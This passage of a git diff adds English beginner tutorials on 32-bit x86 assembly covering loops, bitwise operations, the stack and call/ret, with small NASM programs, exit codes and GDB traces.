+ld -m elf_i386 toplam.o -o toplam
+./toplam
+echo $?
+```
+
+```
+6
+```
+
+Now let's actually **see with our own eyes** that the loop really loops. Let's put a **breakpoint** on the `dongu` label — GDB will stop every time the worker visits it — and look at the counter each time:
+
+```
+gdb ./toplam
+(gdb) break dongu # put a breakpoint on the 'dongu' label
+(gdb) run
+(gdb) print $ecx # round 1
+(gdb) continue # continue until the next 'dongu' visit
+(gdb) print $ecx # round 2
+(gdb) continue
+(gdb) print $ecx # round 3
+(gdb) continue
+```
+
+Real output (this is exactly what you see on screen):
+
+```
+Breakpoint 1 at 0x804900a
+Breakpoint 1, 0x0804900a in dongu ()
+$1 = 3
+Breakpoint 1, 0x0804900a in dongu ()
+$2 = 2
+Breakpoint 1, 0x0804900a in dongu ()
+$3 = 1
+```
+
+Let's read the lines: the same address `0x804900a` (that is, `dongu`) appears **three times** — GDB stopped there each round when the worker arrived. And `$1 = 3`, `$2 = 2`, `$3 = 1`, that is the three answers of `print $ecx`: the counter dropped by one each round, `3 → 2 → 1`. After the third `continue`, `dec` zeroed ecx, `jnz` no longer jumped; the worker fell through past the bottom of the loop and the program exited — the breakpoint was never hit again.
+
+**This is a loop.** The worker visited the same address (`0x804900a`, `dongu`) **three times** — because each round `jnz` sent it back there. And the counter dropped by one at each visit: `3 → 2 → 1`. The fourth time, `dec` zeroed ecx, `jnz` didn't jump, the worker fell through past the bottom of the loop and exited. You wrote a single program once, and the worker ran it three times — as many repetitions as you want, with a single counter.
+
+> 💡 **You might be wondering:** *"What did `break dongu` do?"* In GDB, a **breakpoint** means "stop me when the worker reaches this point." In 07 we stopped at *every* instruction with `si`; here we only stopped every time we reached `dongu`. Perfect for loops: instead of `si`-ing through each round one instruction at a time, we said "stop at the start of each round, look at the counter." And `continue` (or `c` for short) means "let it run free until the next breakpoint."
+
+---
+
+## A Loop Is the Brick of Higher Operations: Multiplication
+
+In 09 we saw a lovely secret: the machine has **no** separate subtraction circuit — subtraction was "adding the negative." The same spirit is here too. The machine's basic arithmetic is addition; so what about **multiplication**? What does `3 × 4` really mean? It means **"add 3, four times"**: 3 + 3 + 3 + 3. And "doing something N times" is now in our hands — the loop!
+
+`carp.asm` — computing `3 × 4` with repeated addition, without ever using a multiply instruction:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 0 ; result = 0
+ mov ecx, 4 ; how many times we'll add (multiplier)
+carp:
+ add eax, 3 ; each round add the 'multiplicand' (3)
+ dec ecx ; counter--
+ jnz carp ; 4 times: 3+3+3+3
+ mov ebx, eax
+ mov eax, 1
+ int 0x80
+```
+
+Run it, `echo $?`:
+
+```
+12
+```
+
+`3 + 3 + 3 + 3 = 12 = 3 × 4`. If you make the 3 inside it a 7 and the counter a 6 (`7 × 6`), the result:
+
+```
+42
+```
+
+**This is the power of the loop.** From a primitive operation like addition, by repeating it, you built a bigger operation like **multiplication**. 09's theme peaks here: the machine really knows very little (add, subtract, compare, jump) — but by **repeating and combining** these, it builds everything. A few simple bricks + a loop = huge buildings.
+
+> 🔑 A loop isn't just "repetition," it's a **construction tool:** `3 × 4` = "add 3, four times." By repeating primitive operations (add) you build higher ones (multiplication). If a processor "can multiply," at the very bottom there are usually repetitions like this. (On modern x86 there is also a ready-made `mul` instruction — but the idea is always the same: repeated addition.)
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ LOOP = jumping BACK to a label. Forward jmp skips; backward jmp repeats. (No new instruction, 11's jmp turned backward.)
+☐ Unconditional backward jmp → INFINITE LOOP (program never ends). This is usually a BUG.
+☐ Solid loop = JOB + EXIT CONDITION. Most common pattern — COUNTER:
+ mov ecx, N
+ tekrar:
+ ; ... work ...
+ dec ecx ; 09: decrement + 10: set ZF
+ jnz tekrar ; 11: if not zero go back; if zero fall through → exit
+ (the dec+ZF+jnz trio = 09+10+11 in one place.)
+☐ Verified programs:
+ - sum (1..N): N=3 → 6 ; N=5 → 15 ; N=10 → 55.
+ gdb break dongu: same address visited 3 times, ecx 3→2→1, then exited.
+ - carp (repeated addition): 3×4 → 12 ; 7×6 → 42. ("add N, M times")
+☐ BIG IDEA: a few primitive operations (add/sub/cmp/jmp) + loop = everything. Even multiplication is repeated addition.
+☐ Up next: bit tricks often needed in the 'job' part (why xor eax,eax means 'zero out') → lesson 13.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [11_ziplamalar.md](./11_ziplamalar.md) — `jmp`/`jnz`, the loop's only material; the "jump back = loop" door was cracked open here
+- [10_bayraklar_ve_cmp.md](./10_bayraklar_ve_cmp.md) — The counter's "did it hit zero" decision: ZF after `dec`; the flag that ends the loop
+- [09_aritmetik.md](./09_aritmetik.md) — `add` (accumulation) and `dec`; and the "build the bigger from the primitive" idea (sub = add the negative)
+- [07_gdb_tek_adim.md](./07_gdb_tek_adim.md) — Tracing with GDB; here we added `break`/`continue` (stop at the start of each round, not at every instruction)
+
+---
+
+**Previous topic:** [11_ziplamalar.md](./11_ziplamalar.md)
+**Next topic:** [13_bit_islemleri.md](./13_bit_islemleri.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/13_bit_islemleri.md b/docs/eng/konu_anlatimlari/x86_assembly/13_bit_islemleri.md
new file mode 100644
index 0000000..bcd4567
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/13_bit_islemleri.md
@@ -0,0 +1,239 @@
+# 🎛️ x86 Assembly — Bit Operations: `and`, `or`, `xor` and Shifting
+
+> I owe you a debt from 10 and 11. We used the `test eax, eax` ("is it zero?") and `test eax, 1` ("is it odd?") instructions, but I put off what actually happens inside them as a *"closed box, we'll open it in 13."* Well, here we are in 13 — we're opening that box.
+> But first, one thing to understand: the instructions so far (`add`, `sub`) treated numbers as **a whole**. In this lesson, for the first time, we'll touch the number's **individual bits** — those 1's and 0's you met in 03 are now in our hands one at a time.
+
+> **This lesson has code and we run all of it.** Every program and every exit code below is real: I compiled and ran them on my own machine.
+
+---
+
+## 📋 Table of Contents
+
+- [Working Bit by Bit: How It Differs from Addition](#working-bit-by-bit-how-it-differs-from-addition)
+- [`and`: Filtering Bits with a Mask](#and-filtering-bits-with-a-mask)
+- [`or` and `xor`: Setting and Flipping Bits](#or-and-xor-setting-and-flipping-bits)
+- [`xor eax, eax`: The Most Common 'Zero It Out'](#xor-eax-eax-the-most-common-zero-it-out)
+- [Shifting: `shl` / `shr` = Fast ×2 and ÷2](#shifting-shl--shr--fast-2-and-2)
+- [Paying the Debt: `test` Was Really `and`](#paying-the-debt-test-was-really-and)
+
+---
+
+## Working Bit by Bit: How It Differs from Addition
+
+When you do `add eax, 1`, something happens: if the number overflows, a **carry** passes to the next digit (like `9 + 1 = 10` in 09, but in binary). So addition **talks** between digits — one bit affects another.
+
+Bit operations are **not** like that. Each bit is processed **on its own** with the bit across from it; it never looks at its neighbor, and there is no such thing as a carry. Write the two numbers one above the other, process each column separately — done. This is why bit operations are both very simple and very fast.
+
+There are three basic bit operations, and each answers a single question. For two bits (a and b), the rules — the **truth table** — are:
+
+```
+ a b │ and │ or │ xor
+ ────┼─────┼─────┼─────
+ 0 0 │ 0 │ 0 │ 0
+ 0 1 │ 0 │ 1 │ 1
+ 1 0 │ 0 │ 1 │ 1
+ 1 1 │ 1 │ 1 │ 0
+```
+
+In words:
+- **`and`** ("and"): 1 if **both are 1**. (Stubborn: if there's the slightest 0, it's 0.)
+- **`or`** ("or"): 1 if **at least one is 1**. (Generous: if there's the slightest 1, it's 1.)
+- **`xor`** ("exclusive or"): 1 if **exactly one is 1**; if the two are the same (0-0 or 1-1), 0. (The differ-er: it asks "are they different?")
+
+> 🔑 Bit operations process a number **bit by bit**, without a carry (unlike addition, where digits mix into each other). `and` = are both 1, `or` = is at least one 1, `xor` = is one different from the other. Their rules are the truth table above.
+
+---
+
+## `and`: Filtering Bits with a Mask
+
+The most common job for `and` is the **mask**: looking at only the bits **you want** of a number and zeroing the rest. The logic comes from the table: if you `and` a bit with `1`, it **stays as is** (`1 and 1 = 1`, `0 and 1 = 0`); if you `and` it with `0`, it gets **wiped** (`x and 0 = 0`). So the places where you put `1` "let through," the places where you put `0` "shut off" — just like a stencil.
+
+`vebit.asm` — `13 and 6`:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 13 ; 1101
+ and eax, 6 ; 0110
+ mov ebx, eax
+ mov eax, 1
+ int 0x80
+```
+
+Column by column (recall from 03, bits from right to left):
+
+```
+ 1101 (13)
+ 0110 (6) ← mask
+ ──── and (each column: are both 1?)
+ 0100 (4)
+```
+
+Run it, `echo $?`:
+
+```
+4
+```
+
+Where the mask was `1` (the middle two bits), 13's bits were filtered and passed through; where it was `0`, they were wiped. The result is `4`.
+
+There's a **very** familiar use of this: the even-odd test from 11. If you `and` a number with `1` (that is, `0001`), **only the lowest bit** survives — and that tells you whether the number is odd/even (03). `vetek.asm`, `mov eax, 7` + `and eax, 1`:
+
+```
+1
+```
+
+`7 and 1 = 1` → lowest bit is 1 → odd. This is exactly what `test eax, 1` was really doing back in 11 (we'll tie it together completely in a moment).
+
+> 🔑 `and` is a **mask**: bits that are `1` in the mask pass through, bits that are `0` get wiped. It's the way to say "I want only these bits of this number." `and eax, 1` → only the lowest bit remains (odd/even test).
+
+---
+
+## `or` and `xor`: Setting and Flipping Bits
+
+`or`'s typical job is the opposite of `and`'s: **setting** a bit (making it 1). If you `or` a bit with `1`, it's guaranteed to become 1 (`x or 1 = 1`); if you `or` it with `0`, it stays as is. So it's the way to say "definitely make these bits 1, leave the rest alone." `veyabit.asm`, `12 or 3`:
+
+```
+ 1100 (12)
+ 0011 (3)
+ ──── or (each column: is at least one 1?)
+ 1111 (15)
+```
+
+```
+15
+```
+
+`xor`, on the other hand, **flips**. If you `xor` a bit with `1`, it turns to its opposite (`0→1`, `1→0`); if you `xor` it with `0`, it stays as is. So it means "flip these bits." But where `xor` is really famous is the little magic — pardon, little **trick** — in the next section.
+
+> 🔑 `or` **sets** a bit (definitely makes the mask's 1's into 1); `xor` **flips** a bit (turns the mask's 1's to their opposite). `and` filters/wipes, `or` sets, `xor` flips — three stencil operations.
+
+---
+
+## `xor eax, eax`: The Most Common 'Zero It Out'
+
+When you look at assembly code, you'll see this almost everywhere:
+
+```nasm
+xor eax, eax
+```
+
+At first glance it's odd: "xor eax with eax"? Look at the truth table — `xor` was asking "are the two bits **different**?" But if you xor a number with **itself**, each bit meets itself: `0 xor 0 = 0`, `1 xor 1 = 0`. Since every column is the same, **they all come out 0.** So `xor eax, eax` **zeroes out** eax, no matter what's inside it.
+
+`xorsifir.asm`:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 123 ; full inside
+ xor eax, eax ; xor with itself → 0
+ mov ebx, eax
+ mov eax, 1
+ int 0x80
+```
+
+Let's catch the exact moment in GDB:
+
+```
+(gdb) starti
+(gdb) si # mov eax, 123
+(gdb) info registers eax
+eax 0x7b 123
+(gdb) si # xor eax, eax
+(gdb) info registers eax
+eax 0x0 0
+```
+
+`123` (`0x7b`) became `0` in an instant. `echo $?` also gives `0`.
+
+So why this instead of `mov eax, 0`? Both zero out eax — but `xor eax, eax` takes up **less** space in machine code (and the processor loves it). This is why it's the *idiomatic* way to say "zero it out"; in other people's code you'll see `xor eax, eax` far more often than `mov eax, 0`. Now when you see it, you'll know what it is: "this just means eax = 0."
+
+> 🔑 `xor eax, eax` = **zero out eax.** When a number is xored with itself, each bit becomes `1 xor 1 = 0` / `0 xor 0 = 0` → all 0. Same result as `mov eax, 0` but encoded shorter; that's why it's the standard idiom for "zero it out." Don't stumble when you see it.
+
+---
+
+## Shifting: `shl` / `shr` = Fast ×2 and ÷2
+
+The last two bit instructions **shift bits sideways**:
+
+- `shl destination, n` → **shift left:** push all bits `n` places to the **left**, fill in with zeros from the right.
+- `shr destination, n` → **shift right:** push all bits `n` places to the **right**.
+
+Their magic comes from 03. In a decimal number, pushing a digit left and putting a 0 on the right (`5` → `50`) makes the number **×10**. Since binary's base is 2, shifting left by one is **×2**:
+
+```
+ 5 = 0000 0101
+ 5<<1 = 0000 1010 = 10 (×2)
+ 5<<3 = 0010 1000 = 40 (×2×2×2 = ×8)
+```
+
+`kaydir.asm`, `mov eax, 5` + `shl eax, 3`:
+
+```
+40
+```
+
+`5 << 3 = 5 × 2³ = 5 × 8 = 40`. The same logic in reverse: `shr` is **÷2** at each step. `kaydir2.asm`, `mov eax, 20` + `shr eax, 2`:
+
+```
+5
+```
+
+`20 >> 2 = 20 ÷ 2² = 20 ÷ 4 = 5`. Processors love this: a shift is **much faster** than a full multiply/divide. That's why, when multiplication/division by a power of 2 is needed, compilers often use `shl`/`shr` — so later, when you look at a C program's assembly (lesson 19) and see `shl ..., 3` instead of `× 8`, don't be surprised.
+
+> 🔑 `shl x, n` = shift bits left = **× 2ⁿ**; `shr x, n` = shift right = **÷ 2ⁿ**. In binary, "push left, add zero" is just like "×10" in decimal, but ×2. It's the fast way to multiply/divide; it comes free for powers of 2. (Small caveat: `shr`'s "÷2" holds only for unsigned numbers — to divide a negative number you need `sar`; `shl`, on the other hand, is a clean ×2 in both cases.)
+
+---
+
+## Paying the Debt: `test` Was Really `and`
+
+Now we can open the closed box I left back in 10 and 11. `test` is the **"result thrown away"** form of an operation you learned in this lesson — just as `cmp` is the result-thrown-away form of `sub` (10):
+
+```
+ cmp = sub but throws away the result, only sets flags
+ test = and but throws away the result, only sets flags
+```
+
+So `test eax, eax` does `eax and eax` inside (it doesn't write the result anywhere), it only looks at the flags. Since `x and x = x`, the result is eax itself; if eax is **zero**, the result is zero → **ZF is set.** This is exactly the "is eax zero?" from 10.
+
+And `test eax, 1`? Now it's plain: `eax and 1` = **only the lowest bit**. If the lowest bit is 1 (odd number), the result is not zero → ZF off; if it's 0 (even), the result is zero → ZF on. This was the whole mechanism of the even-odd test in 11 — the flag version of this section's `vetek.asm` (`7 and 1 = 1`).
+
+> 🔑 `test a, b` = `and a, b` but throws away the result, only sets flags (the same as `cmp`'s relationship to `sub`). `test eax, eax` → "is eax zero" (ZF); `test eax, 1` → "is eax odd" (lowest bit). This was the closed box in 10-11; now you've seen it.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ Bit operations process a number BIT BY BIT (NO carry, digits don't mix). Truth table:
+ and = are both 1 | or = is at least one 1 | xor = are they different (one 1 one 0)
+☐ and = MASK/FILTER: what's 1 in the mask passes, what's 0 gets wiped. 13 and 6 = 4 ; x and 1 = lowest bit (odd/even).
+☐ or = SET a bit (definitely make it 1): 12 or 3 = 15.
+☐ xor = FLIP a bit (opposite). SPECIAL: xor eax, eax = ZERO OUT eax (xor with itself → always 0). The short/idiomatic form of mov eax,0.
+☐ shl x, n = shift left = × 2ⁿ (5 << 3 = 40).
+ shr x, n = shift right = ÷ 2ⁿ (20 >> 2 = 5). The fast way to multiply/divide (powers of 2).
+ Note: shr's ÷2 is only for unsigned numbers; to divide a negative you need sar.
+☐ DEBT PAID: test = and but throws away the result (same idea as cmp = sub but throws away the result).
+ test eax,eax → "is it zero" (ZF) ; test eax,1 → "is it odd". This was the closed box in 10-11.
+☐ Verified: 13&6=4, 12|3=15, xor eax,eax→0 (gdb 123→0), 7&1=1, 5<<3=40, 20>>2=5.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [03_sayilar_ikilik_onaltilik.md](./03_sayilar_ikilik_onaltilik.md) — Bits, binary digits, and the root of the "shift left = ×base" intuition
+- [10_bayraklar_ve_cmp.md](./10_bayraklar_ve_cmp.md) — The idea that `test` is the "throw away the result, set flags" sibling; `cmp = sub`'s counterpart here
+- [11_ziplamalar.md](./11_ziplamalar.md) — The even-odd decision with `test eax, 1`; its mechanism (`and`) was opened right here in this lesson
+- [09_aritmetik.md](./09_aritmetik.md) — The "carry-bearing" nature of addition; its contrast with the "carry-free" nature of bit operations
+
+---
+
+**Previous topic:** [12_donguler.md](./12_donguler.md)
+**Next topic:** [14_stack.md](./14_stack.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/14_stack.md b/docs/eng/konu_anlatimlari/x86_assembly/14_stack.md
new file mode 100644
index 0000000..7b296a6
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/14_stack.md
@@ -0,0 +1,162 @@
+# 🗂️ x86 Assembly — The Stack: The Worker's Notebook
+
+> You finished Unit 2: the worker now does arithmetic (09), makes decisions (10-11), builds loops (12), plays with bits (13). But there's a problem, and it will only grow: **too few hands.** We saw it in 04.5 — a handful of registers (eax, ebx, ecx...), and that's all. So what if you need to set aside more numbers than you can hold?
+> That's the subject of this unit: giving the worker a **notebook**. Its name is the **stack**, and as you'll see shortly, this notebook is also the foundation of the next two lessons — functions.
+
+> **There's code in this lesson and we run all of it.** Every program below, every exit code, and every GDB output is real: I compiled and ran it on my own machine.
+
+---
+
+## 📋 Table of Contents
+
+- [The Worker's Notebook: What Is the Stack?](#the-workers-notebook-what-is-the-stack)
+- [`push` / `pop`: Put on Top, Take from Top](#push--pop-put-on-top-take-from-top)
+- [LIFO: Last In, First Out](#lifo-last-in-first-out)
+- [`esp` and 'Why Does the Stack Grow Downward?'](#esp-and-why-does-the-stack-grow-downward)
+
+---
+
+## The Worker's Notebook: What Is the Stack?
+
+Registers are fast but **few** (04.5). When you need to do a new job in the middle of a calculation without losing a value you're holding, you have to **set it down** somewhere temporarily. You could open a named box in memory (`section .data`, 08) — but making up a name for every temporary value is tedious. You need something more practical: quickly "set this aside," then "take it back."
+
+That's what the **stack** is for: a special region of memory that the worker uses for temporary notes. The name fits perfectly — think of a **stack of plates**:
+
+- You put a new plate **on top** (`push`).
+- When you take a plate, you again take it **from the top** (`pop`).
+- You can't pull one out of the middle or from the bottom — always from the top.
+
+This "always from the top" rule looks simple but is very powerful; we'll give it a name shortly (LIFO). For now, the mental image: the stack = the worker's notebook, where notes are added on top and taken from the top.
+
+> 🔑 **Stack** = the region of memory used to set down temporary values and take them back; the worker's "notebook." It exists because registers are few. The rule: like a stack of plates, work is always done **from the top** — put on top, take from top.
+
+---
+
+## `push` / `pop`: Put on Top, Take from Top
+
+You talk to the stack with two instructions:
+
+- `push source` → **put** `source` **on top** of the stack.
+- `pop destination` → take the value at the **top** of the stack, put it in `destination` (and remove it from the top).
+
+So how does the worker know where the "top" is? A special register tracks it: **`esp`** (*stack pointer*). `esp` always holds the address of the value at the **top of the stack**; that is, `[esp]` (the square brackets from 08!) = the value on top.
+
+- When you `push`: `esp` points to a new location and the value is written there — the top rises.
+- When you `pop`: the value at `[esp]` is read and `esp` points to an older location — the top falls.
+
+This movement of `esp` holds the stack's most confusing yet most elegant detail (last section). First, let's see the instructions in action.
+
+> 🔑 `push x` = put x on top of the stack; `pop r` = take the top value into r (and remove it). The **`esp`** register always points to the top; `[esp]` = the value on top. `push` grows the top, `pop` shrinks it.
+
+---
+
+## LIFO: Last In, First Out
+
+The stack of plates' "always from the top" rule has a consequence: the last plate you put down is the first one you take back. This is called **LIFO** — *Last In, First Out*. Let's prove it with a program. `stack.asm` — let's put three numbers down in order and take them back in order:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ push dword 10 ; put: 10
+ push dword 20 ; put: 20 (on top of 10)
+ push dword 30 ; put: 30 (at the very top)
+ pop eax ; take: the top → 30
+ pop ebx ; take: the next → 20
+ pop ecx ; take: the next → 10
+ mov ebx, eax ; put what we took first (30) into the exit
+ mov eax, 1
+ int 0x80
+```
+
+A small detail: why is that `dword` there in `push dword 10`? `10` is a bare number; the assembler can't tell how many bytes to push it onto the stack as, so you tell it by saying `dword` (= 4 bytes). In `pop eax`, though, `eax` is a register whose size is already known (32-bit) — there you don't need to write `dword`.
+
+Follow the order: we put down `10, 20, 30` (30 was last, on top). When taking them back we started from the top: the first `pop` took **30** (the one we put down last), then 20, then 10. So they came back in **reverse** order. Run it:
+
+```
+nasm -f elf32 stack.asm -o stack.o
+ld -m elf_i386 stack.o -o stack
+./stack
+echo $?
+```
+
+```
+30
+```
+
+The first `pop` brought back the `30` we put down last — the exit code confirms it. **Last in, first out.** The order in was `10→20→30`, the order out was `30→20→10`. The stack's whole character is in that one word: LIFO.
+
+> 🔑 The stack is **LIFO** (Last In, First Out). `push 10,20,30` then `pop,pop,pop` → `30,20,10` (reversed). You always take back what you put down last; you can't reach into the middle or the bottom.
+
+---
+
+## `esp` and 'Why Does the Stack Grow Downward?'
+
+Now the loveliest detail. Your intuition probably says "as the stack grows, the addresses **increase**" — after all, we're stacking things on top. But the truth is exactly the opposite: **as the stack grows, `esp` GETS SMALLER.** The stack grows from the high addresses of memory **downward**, toward the small addresses. Let's watch `esp` at every `push` in GDB:
+
+```
+gdb ./stack
+(gdb) starti
+(gdb) print/x $esp # start
+(gdb) si # push 10
+(gdb) print/x $esp
+(gdb) x/1dw $esp # value on top
+... (repeat after each push)
+```
+
+Real output:
+
+```
+start esp = 0xffffc570
+after push 10, esp = 0xffffc56c top = 10
+after push 20, esp = 0xffffc568 top = 20
+after push 30, esp = 0xffffc564 top = 30
+after pop eax, esp = 0xffffc568 eax = 30
+```
+
+So who set that first `esp` value (`0xffffc570`) before you even did a single `push`? Not you: when the program starts, the operating system prepares the stack region and writes the top address into `esp` — the notebook comes already open, pen in hand. (The OS rules over memory and hardware; a closed box for now, we'll open it in 17.)
+
+Look at the addresses: at every `push`, `esp` decreased by exactly **4** (`c570 → c56c → c568 → c564`). Four each time, because a dword is 4 bytes (03/08). The value was written to that new (smaller) address — `[esp]` always points to the top. And when you did `pop eax`, `esp` went back **up by 4** (`c564 → c568`) and took the value (30). So:
+
+- **`push`** = decrease `esp` by 4, write the value there. (the top descends)
+- **`pop`** = take the value at `[esp]`, increase `esp` by 4. (the top rises)
+
+But why downward? The logic is this: think of memory as a street. The **program itself** (code and data) sits at the **bottom** end of the street (small addresses) — like the `0x8049000` you saw in 11. The stack is placed at the **top** end of the street (big addresses) and grows **downward**. This way the two start from opposite ends of the street and grow **toward each other**; both can use the space in the middle, and no room is wasted. If you grew both in the same direction, one would collide with the other sooner.
+
+> 🔑 The stack grows **downward**: `push` → `esp` **decreases by 4** (the top descends to a small address), `pop` → `esp` **increases by 4**. The reason: the program starts from the bottom of memory (small address), the stack from the top (big address); by growing in opposite directions they share the same gap without colliding. Counterintuitive but consistent.
+
+> 💡 **You might be wondering:** *"What is this LIFO / notebook going to be good for? Putting down and taking back three numbers is a bit of a toy."* You're right — its real power isn't on its own. The stack's real life begins in the next two lessons: **functions.** When a worker is about to "go do another job and come back," it writes down "where it will return to" and the values it's holding in this notebook (15), then reads them back when it returns. You learned `push`/`pop` now so that in 15 functions won't look like magic — just like "leaving a note on the stack."
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ STACK = the temporary-value region of memory; the worker's "notebook" (because registers are few). Like a stack of plates: always from the top.
+☐ push x = put x on top ; pop r = take the top value into r (and remove it).
+☐ the esp register ALWAYS points to the top; [esp] = the value on top.
+☐ LIFO (Last In First Out): push 10,20,30 → pop,pop,pop = 30,20,10 (reverse order). What you put down last comes out first.
+☐ The stack grows DOWNWARD (counterintuitive):
+ - push → esp DECREASES by 4 (dword=4 bytes), the value is written there.
+ - pop → the value is read, esp INCREASES by 4.
+ - gdb proof: esp c570→c56c→c568→c564 (each push -4), +4 back on pop.
+ - Why: the program from the bottom of memory, the stack from the top; growing in opposite directions they share the gap without colliding.
+☐ Why it matters: this is the foundation of functions (15). "Where I'll return to" + temporary values are written to the stack.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [04.5_registerin_ici.md](./04.5_registerin_ici.md) — The fact that registers are "few"; the stack is exactly the solution to that scarcity. `esp` is a register too
+- [08_mov_ve_bellek.md](./08_mov_ve_bellek.md) — `[...]` = "the box at the address"; `[esp]` = the value on top. The stack is memory after all
+- [08.5_little_endian.md](./08.5_little_endian.md) — The dwords written to the stack also sit in memory byte by byte; the same layout rule
+- [03_sayilar_ikilik_onaltilik.md](./03_sayilar_ikilik_onaltilik.md) — "Why 4?" — a dword is 4 bytes; the reason `esp` moves 4 at a time
+
+---
+
+**Previous topic:** [13_bit_islemleri.md](./13_bit_islemleri.md)
+**Next topic:** [15_call_ve_ret.md](./15_call_ve_ret.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/15_call_ve_ret.md b/docs/eng/konu_anlatimlari/x86_assembly/15_call_ve_ret.md
new file mode 100644
index 0000000..d15dd12
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/15_call_ve_ret.md
@@ -0,0 +1,173 @@
+# 📞 x86 Assembly — `call` and `ret`: Functions
+
+> In 14 we handed the worker a notepad (the stack) and left off with a small promise: *"the real life of the stack begins with functions; you learned `push`/`pop` so that in 15 functions won't look like magic, but like 'leaving a note on the stack.'"*
+> This is that moment. In this lesson we'll learn to write one piece of work **once and use it many times** — in programming this is called a **function**. And we'll see that the whole secret of functions is hidden in that simple stack you learned in 14.
+
+> **This lesson has code, and we run all of it.** Every program, every exit code, and every GDB output below is real: I assembled and ran it on my own machine.
+
+---
+
+## 📋 Table of Contents
+
+- [A Reusable Piece: The Function](#a-reusable-piece-the-function)
+- [What `jmp` Is Missing: But Where Do I Return To?](#what-jmp-is-missing-but-where-do-i-return-to)
+- [`call` and `ret`: Go and Come Back](#call-and-ret-go-and-come-back)
+- [Behind the Curtain: `call` = `push` + `jmp`](#behind-the-curtain-call--push--jmp)
+
+---
+
+## A Reusable Piece: The Function
+
+Say you need to do a job in **many places** in your program — for example, "add 5 to the number in hand." You could rewrite those three lines everywhere you need them, but that's both tiring and error-prone. Better: write that piece **once**, give it a name, and every time you need it just say "run this."
+
+That's exactly what a **function** is: a reusable piece of code that has a name. With the **label** you learned in 11 (`ekle5:`) you give the piece a name, then you call it from wherever you want. And the beauty of it: you can call the same piece **multiple times**. In this program we call `ekle5` twice:
+
+```nasm
+_start:
+ mov eax, 10
+ call ekle5 ; 10 + 5 = 15
+ call ekle5 ; 15 + 5 = 20 (reused the same piece)
+ ...
+ekle5:
+ add eax, 5
+ ret
+```
+
+This program gives `20` (we'll run it in a moment) — we used the three-line `ekle5` piece twice, without copying it at all. But how does "calling" (`call`) actually work? To understand that, let's first see why the only "go" instruction we have (`jmp`) isn't enough.
+
+> 🔑 **Function** = a reusable piece of code that has a name. Write it once, use it every time you call it. It's named with a label (11) and called with `call`. The goal: to avoid copy-paste.
+
+---
+
+## What `jmp` Is Missing: But Where Do I Return To?
+
+Your first instinct might be "I'll do `jmp ekle5`, done." The going part really is like that — but there's a problem: when `ekle5` finishes its work, **where does it return to?**
+
+Think about it: we called `ekle5` from two different places in the program. When `ekle5` finishes, sometimes it needs to return below the first call, sometimes below the second call. But `ekle5` itself is always the same — we can't write a fixed "return here" address into it, because the place to return to is **different on every call.**
+
+So the thing that's missing is **memory**: we need to **jot down** somewhere the fact of "where was I right before I called you?", and when the worker returns, to **read** that note. Leaving a temporary value somewhere and taking it back later... this should sound familiar — this is exactly the job of the **stack** from 14.
+
+> 🔑 `jmp` **goes** to the function but doesn't remember "where to return to." When the same function is called from different places the return point changes; that's why jotting down a **return address** somewhere is essential. That "somewhere" = the stack (14).
+
+---
+
+## `call` and `ret`: Go and Come Back
+
+x86 put these two jobs (go + remember the return / come back) into two instructions:
+
+- `call label` → **remember the return address, then go to `label`.**
+- `ret` → **return to the remembered return address.**
+
+The two are a pair: you go with `call`, you return with `ret`. You put `ret` at the end of the function; it means "return to whoever called me." `fonksiyon.asm`:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 10
+ call ekle5 ; go to ekle5 (and remember the return)
+ mov ebx, eax ; ← ekle5 returns here. result (15) to exit
+ mov eax, 1
+ int 0x80
+
+ekle5:
+ add eax, 5 ; eax += 5
+ ret ; return to the caller
+```
+
+Follow the flow: `eax = 10`, `call ekle5` → the worker goes to `ekle5`, does `add eax, 5` making `eax = 15`, says `ret` → returns to the line **right below** the `call` (`mov ebx, eax`). Run it:
+
+```
+nasm -f elf32 fonksiyon.asm -o fonksiyon.o
+ld -m elf_i386 fonksiyon.o -o fonksiyon
+./fonksiyon
+echo $?
+```
+
+```
+15
+```
+
+Now run the two-call version from the top (`fonksiyon2.asm`, `call ekle5` twice):
+
+```
+20
+```
+
+**There's your reusable piece.** You wrote `ekle5` once; call it once and you get 15, call it twice and you get 20. Every `call` went, made it do the work, and `ret` returned it to the right place. But how do `call`/`ret` pull off this "coming back" trick? Let's pull the curtain aside — and you'll see why 14 came right before this lesson.
+
+> 🔑 `call label` = remember the return address + go to the label. `ret` = return to the remembered address. You put `ret` at the end of the function. `call`/`ret` are a pair: one goes, one returns.
+
+---
+
+## Behind the Curtain: `call` = `push` + `jmp`
+
+Here's the secret, and it's not magic at all. `call ekle5` actually does two things:
+
+1. **`push`** — pushes the address of the next instruction (the return address) onto the stack.
+2. **`jmp ekle5`** — jumps to the function.
+
+And `ret` does just one thing: it **`pop`**s the address at the top of the stack and jumps there. So the "return address" is nothing but a note left on the stack from 14! Let's see this with our own eyes in GDB.
+
+First let's know the addresses from the disassembly — the instruction **after** `call` is `mov ebx, eax`, at address `0x804900a`:
+
+```
+ 8049005: call 8049013
+ 804900a: mov ebx,eax ← instruction after call = return address
+ ...
+ 8049013 : add eax,0x5
+ 8049016: ret
+```
+
+Now let's look at `esp` and the top of the stack before and after `call`:
+
+```
+call BEFORE esp = 0xffffc570 (next instruction = will be the return address: 0x804900a mov ebx,eax)
+call AFTER esp = 0xffffc56c stack top [esp] = 0x0804900a eip now: 0x8049013
+```
+
+Catch three things at once:
+
